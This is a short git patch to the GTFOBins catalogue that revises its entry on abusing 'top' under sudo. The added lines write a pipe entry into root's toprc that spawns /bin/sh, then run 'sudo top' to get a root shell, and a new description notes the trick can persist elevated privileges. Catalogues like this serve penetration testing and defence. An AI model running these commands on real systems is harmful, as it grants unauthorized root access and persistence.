From 236f88cd3471f01d0c4159341070af052a01f4cc Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Tue, 28 Jan 2020 22:33:55 +0100 Subject: [PATCH] Fix and clarify sudo for top Related #81. --- _gtfobins/top.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/_gtfobins/top.md b/_gtfobins/top.md index fe77313..4681890 100644 --- a/_gtfobins/top.md +++ b/_gtfobins/top.md @@ -8,8 +8,9 @@ functions: # press return twice reset sudo: - - code: | - echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc + - description: This requires that the root configuration file is writable and might be used to persist elevated privileges. + code: | + echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>/root/.config/procps/toprc sudo top # press return twice reset